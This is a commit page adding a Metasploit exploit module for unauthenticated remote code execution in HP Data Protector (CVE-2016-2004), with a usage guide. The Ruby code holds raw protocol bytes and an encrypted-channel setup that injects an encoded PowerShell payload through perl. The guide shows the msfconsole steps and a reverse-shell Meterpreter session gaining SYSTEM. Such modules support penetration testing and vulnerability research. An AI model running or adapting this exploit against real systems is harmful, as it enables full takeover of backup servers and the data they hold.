Land #6929, Add HP Data Protector Encrypted Comms exploit
commit
b59d10d9c4
|
@ -0,0 +1,75 @@
|
|||
HP Data Protector is an automated backup and recovery software for single-server to enterprise
|
||||
environments. It provides cross-platform, online backup of data for Microsoft Windows, Unix,
|
||||
and Linux operating systems.
|
||||
|
||||
While the server is using Encrypted Control Communication, HP Data Protector allows a remote
|
||||
attacker to gain access without authentication, and gain arbitrary code execution under the
|
||||
context of SYSTEM.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
HP Data Protector versions 7, 8, and 9 are known to be affected.
|
||||
|
||||
hp_dataprotector_encrypted_comms was specifically tested against version 9.0.0 on Windows 2008.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
**Installing HP Data Protector**
|
||||
|
||||
Before installing HP Data Protector, a Windows domain controller is needed. This exploit was tested
|
||||
against [a Windows Server 2008 R2 SP1 domain controller](https://www.youtube.com/watch?v=Buj9oEgbRt8).
|
||||
|
||||
After setting up the domain controller, double-click on the HP Data Protector installer, and you
|
||||
should see this screen:
|
||||
|
||||
![screen_1](https://cloud.githubusercontent.com/assets/13082457/15794665/99a86238-29e4-11e6-8ccd-0e09b0c8a693.png)
|
||||
|
||||
Click on **Install Data Protector**. And then the installer should ask you which installation type:
|
||||
|
||||
![screen_2](https://cloud.githubusercontent.com/assets/13082457/15794701/de31d07e-29e4-11e6-9410-0b88abe77afe.png)
|
||||
|
||||
Make sure to select **Cell Manager**, and click **Next**. Use all default settings.
|
||||
|
||||
**Enabling Encrypted Communication**
|
||||
|
||||
After the Setup Wizard is finished, we need to enable encrypted communication. First, open the
|
||||
Data Protector GUI:
|
||||
|
||||
![screen_3](https://cloud.githubusercontent.com/assets/1170914/15845344/d3a84ee4-2c37-11e6-821d-fe8002c94686.png)
|
||||
|
||||
Click on **Clients**, and the local client from the tree. You should see the **Connection** tab on the
|
||||
right, click on that.
|
||||
|
||||
![screen_4](https://cloud.githubusercontent.com/assets/1170914/15845351/df9929f8-2c37-11e6-9d82-8c519c030a5f.png)
|
||||
|
||||
Under the Connection tab, there should be an **Encrypted control communication** checkbox, make
|
||||
sure that is checked. And then click **Apply**
|
||||
|
||||
**Using hp_dataprotector_encrypted_comms**
|
||||
|
||||
After the encrypted communication is enabled, you are ready to use
|
||||
hp_dataprotector_encrypted_comms. Here is what you do:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/windows/misc/hp_dataprotector_encrypted_comms```
|
||||
3. Do: ```set RHOST [IP ADDRESS]```
|
||||
4. Do: ```set PAYLOAD [PAYLOAD NAME]```
|
||||
5. Set other options as needed
|
||||
6. Do: ```exploit```, and you should receive a session like the following:
|
||||
|
||||
```
|
||||
msf exploit(hp_dataprotector_encrypted_comms) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.23.1:4444
|
||||
[*] 172.16.23.173:5555 - Initiating connection
|
||||
[*] 172.16.23.173:5555 - Establishing encrypted channel
|
||||
[*] 172.16.23.173:5555 - Sending payload
|
||||
[*] 172.16.23.173:5555 - Waiting for payload execution (this can take up to 30 seconds or so)
|
||||
[*] Sending stage (957999 bytes) to 172.16.23.173
|
||||
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.173:49304) at 2016-06-06 22:16:54 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
|
|
@ -0,0 +1,150 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'openssl'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HP Data Protector Encrypted Communication Remote Command Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a well known remote code execution exploit after establishing encrypted
|
||||
control communications with a Data Protector agent. This allows exploitation of Data
|
||||
Protector agents that have been configured to only use encrypted control communications.
|
||||
|
||||
This exploit works by executing the payload with Microsoft PowerShell so will only work
|
||||
against Windows Vista or newer. Tested against Data Protector 9.0 installed on Windows
|
||||
Server 2008 R2.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jon Barg', # Reported vuln (originally discovery?) credited by HP
|
||||
'Ian Lovering' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-2004' ],
|
||||
[ 'URL', 'http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05085988' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 30,
|
||||
'RPORT' => 5555
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 18 2016",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
# For the check command
|
||||
connect
|
||||
sock.put(rand_text_alpha_upper(64))
|
||||
response = sock.get_once(-1)
|
||||
disconnect
|
||||
|
||||
if response.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
service_version = Rex::Text.to_ascii(response).chop.chomp
|
||||
|
||||
if service_version =~ /HP Data Protector/
|
||||
vprint_status(service_version)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
def generate_dp_payload
|
||||
command = cmd_psh_payload(
|
||||
payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{ remove_comspec: true, encode_final_payload: true })
|
||||
|
||||
payload =
|
||||
"\x32\x00\x01\x01\x01\x01\x01\x01" +
|
||||
"\x00\x01\x00\x01\x00\x01\x00\x01" +
|
||||
"\x01\x00\x20\x32\x38\x00\x5c\x70" +
|
||||
"\x65\x72\x6c\x2e\x65\x78\x65\x00" +
|
||||
"\x20\x2d\x65\x73\x79\x73\x74\x65" +
|
||||
"\x6d('#{command}')\x00"
|
||||
|
||||
payload_length = [payload.length].pack('N')
|
||||
|
||||
return payload_length + payload
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Main function
|
||||
encryption_init_data =
|
||||
"\x00\x00\x00\x48\xff\xfe\x32\x00\x36\x00\x37\x00\x00\x00\x20\x00" +
|
||||
"\x31\x00\x30\x00\x00\x00\x20\x00\x31\x00\x30\x00\x30\x00\x00\x00" +
|
||||
"\x20\x00\x39\x00\x30\x00\x30\x00\x00\x00\x20\x00\x38\x00\x38\x00" +
|
||||
"\x00\x00\x20\x00\x6f\x00\x6d\x00\x6e\x00\x69\x00\x64\x00\x6c\x00" +
|
||||
"\x63\x00\x00\x00\x20\x00\x34\x00\x00\x00\x00\x00"
|
||||
|
||||
print_status("Initiating connection")
|
||||
|
||||
# Open connection
|
||||
connect
|
||||
|
||||
# Send init data
|
||||
sock.put(encryption_init_data)
|
||||
begin
|
||||
buf = sock.get_once
|
||||
rescue ::EOFError => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
end
|
||||
|
||||
print_status("Establishing encrypted channel")
|
||||
|
||||
# Create TLS / SSL context
|
||||
sock.extend(Rex::Socket::SslTcp)
|
||||
sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
|
||||
sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
|
||||
sock.sslctx.options = OpenSSL::SSL::OP_ALL
|
||||
|
||||
# Enable all ciphers as older versions of Data Protector only use
|
||||
# some not enabled by default
|
||||
sock.sslctx.ciphers = "ALL"
|
||||
|
||||
# Enable TLS / SSL
|
||||
sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
|
||||
sock.sslsock.connect
|
||||
|
||||
print_status("Sending payload")
|
||||
|
||||
# Send payload
|
||||
sock.put(generate_dp_payload(), {timeout: 5})
|
||||
|
||||
# Close socket
|
||||
disconnect
|
||||
|
||||
print_status("Waiting for payload execution (this can take up to 30 seconds or so)")
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue